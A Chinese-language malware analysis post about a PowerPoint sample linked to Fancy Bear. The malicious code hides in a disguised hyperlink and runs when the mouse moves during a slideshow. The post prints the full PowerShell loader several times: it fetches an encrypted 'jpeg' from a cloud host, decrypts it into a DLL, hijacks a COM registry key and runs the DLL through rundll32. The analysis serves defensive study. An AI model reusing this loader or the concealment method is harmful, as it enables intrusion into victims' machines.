声明
文中涉及内容仅作技术交流使用,切勿用于违法行为!
前言
样本哈希来源于一篇国际报告文章,部分内容已在文章中详细说明,本文主要对其中略过的一些细节进行分析。
文章地址:
https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/
Part 1
寻找恶意代码
该样本乍一看是个纯纯的ppt,打开后会显示一段看似无害的说明文档,此时进行任何操作均不会触发恶意代码。
在播放幻灯片后,随着鼠标的移动,就开始发现不对劲了。发现鼠标在不断地转圈圈,说明后台有东西在运行。此时我意识到,应该是触发了一些奇怪的开关。开始检查ppt的内容,没有发现宏,没有发现文档中的任何文字嵌入超链接。为了确认恶意行为的确发生了,用监控软件黑盒跑了一下。
跟进这个动作的参数:
数据太长,完整内容如下:
cmdline:'"C:WindowsSystem32WScript.exe"
".vbs:................windowsSystem32::$index_allocationSyncAppvPublis
hingServer.vbs" ;$t=$env:Temp+'local.lnk';if([IO.File]::Exists($t)){break;};
[IO.File]::Create($t,1,
[io.FileOPtions]::DeleteOnClose);$r=$ENV:ALLUSERSPROFILE+'lmapi2.dll';if([IO.Fi
le]::Exists($r)){break;};$s=
[Convert]::ToChar(0x2F);$u='https:\9b5uja.am.files.1drv.com'+$s+'y4mpYJ245I931D
UGr7BV-dwLD7SReTqFr1N7eQOKSH_u-g2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-
F6QcqADr-FowC_9PZi1Aj7uckcK8Uix_7j'
既然如此,那就移动一下看看
换一下背景色,可以看到是下面的图形:
好家伙,多少沾点抽象。原来做安全不仅要会coding,还得有一定的艺术造诣,越来越卷了.jpg,接下来,在上述灰色的地方右键果然发现了嵌入的文件形式超链接,后面跟上的长长一串参数,具体指向的就是上文中的那段代码:
到此,通过行为监控和样本分析同时把线索指向了上面这段代码,接下来对这段代码进行分析。
Part 2
恶意代码分析
cmdline:'"C:WindowsSystem32WScript.exe"
".vbs:................windowsSystem32::$index_allocationSyncAppvPublis
hingServer.vbs" ;$t=$env:Temp+'local.lnk';if([IO.File]::Exists($t)){break;};
[IO.File]::Create($t,1,
[io.FileOPtions]::DeleteOnClose);$r=$ENV:ALLUSERSPROFILE+'lmapi2.dll';if([IO.Fi
le]::Exists($r)){break;};$s=
[Convert]::ToChar(0x2F);$u='https:\9b5uja.am.files.1drv.com'+$s+'y4mpYJ245I931D
UGr7BV-dwLD7SReTqFr1N7eQOKSH_u-g2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-
F6QcqADr-FowC_9PZi1Aj7uckcK8Uix_7j'
在对比监控软件dump下来的命令和ppt超链接中显示的命令尾部能够发现,监控软件中的代码并没有显示全,因此需要人工从ppt的超链接中把恶意代码再dump下来分析。
问题就在于:下图的超链接窗口中无法进行复制,并且右键复制也无法成功。(后来发现,可能是由于分析环境中的office2013版本过低,更换到office2016后便可以成功右键复制超链接)
于是我只有用调试器附加到PowerPoint.exe上,最终在内存中找到了完整的代码:
cmdline:'"C:WindowsSystem32WScript.exe"
".vbs:................windowsSystem32::$index_allocationSyncAppvPublis
hingServer.vbs" ;$t=$env:Temp+'local.lnk';if([IO.File]::Exists($t)){break;};
[IO.File]::Create($t,1,
[io.FileOPtions]::DeleteOnClose);$r=$ENV:ALLUSERSPROFILE+'lmapi2.dll';if([IO.Fi
le]::Exists($r)){break;};$s=
[Convert]::ToChar(0x2F);$u='https:\9b5uja.am.files.1drv.com'+$s+'y4mpYJ245I931D
UGr7BV-dwLD7SReTqFr1N7eQOKSH_u-g2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-
F6QcqADr-FowC_9PZi1Aj7uckcK8Uix_7ja1tF6C_8-
5xYgm6zwjbXsrlEcTEenAyA8BzEaGPudutl1wMDkzVr6Wm-
n8_qRmYejLgbNoQmPTUe3P5NKFFLRjeeU_JhvA'+$s+'DSC0002.jpeg?download';$f=(New-
Object Net.WebClient).DownloadData($u);if($f.Count -lt 10000)
{break;};$f=$f[4..$f.Count];$x=24;$f=$f|%{$x=(29*$x+49)% 256;$_=($_ -bxor
$x);$_};[IO.File]::WriteAllBytes($r,$f);$k=[Convert]::ToChar(0x23);$z=$s+'c reg
ADD HKCUSoftwareClassesCLSID{2735412E-7F64-5B0F-8F00-
5D77AFBE261E}InProcServer32 '+$s+'t REG_SZ '+$s+'d '+$r+' '+$s+'ve '+$s+'f '+
$s+'reg:64'+' && '+'rundll32.exe '+$r+','+$k+'1';cmd $z;'
可以看到使用了微软官方的SyncAppvPublishingServer.vbs来运行powershell脚本,格式化后的powershell脚本内容如下:
$t = $env: Temp + 'local.lnk';
if ([IO.File] : :Exists($t)) {
break;
};
[IO.File] : :Create($t, 1, [io.FileOPtions] : :DeleteOnClose);
$r = $ENV: ALLUSERSPROFILE + 'lmapi2.dll';
if ([IO.File] : :Exists($r)) {
break;
};
$s = [Convert] : :ToChar(0x2F);
$u = 'https:\9b5uja.am.files.1drv.com' + $s + 'y4mpYJ245I931DUGr7BV-
dwLD7SReTqFr1N7eQOKSH_u-g2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-F6QcqADr-
FowC_9PZi1Aj7uckcK8Uix_7ja1tF6C_8-5xYgm6zwjbXsrlEcTEenAyA8BzEaGPudutl1wMDkzVr6Wm-
n8_qRmYejLgbNoQmPTUe3P5NKFFLRjeeU_JhvA' + $s + 'DSC0002.jpeg?download';
$f = (New - Object Net.WebClient).DownloadData($u);
if ($f.Count - lt 10000) {
break;
};
$f = $f[4..$f.Count];
$x = 24;
$f = $f | %{
$x = (29 * $x + 49) % 256;
$_ = ($_ - bxor $x);
$_
}; [IO.File] : :WriteAllBytes($r, $f);
$k = [Convert] : :ToChar(0x23);
$z = $s + 'c reg ADD HKCUSoftwareClassesCLSID{2735412E-7F64-5B0F-8F00-
5D77AFBE261E}InProcServer32 ' + $s + 't REG_SZ ' + $s + 'd ' + $r + ' ' + $s +
've ' + $s + 'f ' + $s + 'reg:64' + ' &
&
' + 'rundll32.exe ' + $r + ',' + $k + '1';
cmd $z;
这里的代码就很明朗了,下载DSC0002.jpeg并解密出一个dll,随后调用rundll32.exe执行该dll。后续的dll就是一些常规的恶意代码了,且细节在参考文章中已经提过,不再赘述了。
小结
因为具体的隐藏方式在参考文章中没有提及,所以写这篇文章记录了一下寻找恶意点的分析过程。这种利用方法使用的是超链接,与常见的宏利用不同的是,超链接不是存放在ole流中的,一些仅针对ole流查杀的手段无法发现这种恶意代码。并且超链接功能更强大,因为它的利用是基于SyncAppvPublishingServer来调用powershell,powershell能做什么,它就能做什么。不过遗憾的是,无论是宏还是超链接,它们都是静态地存放在文件中的,直接在010editor或者winhex中搜索都能直接搜到。
因此,不管它有多么花里胡哨,只要还是以硬编码的形式存放在文件中,最终还是逃不过最简单粗暴的静态查杀。
END
扫码关注最新动态
零域安全
原文始发于微信公众号(零域安全):隐藏在PPT中的后现代主义印象派作品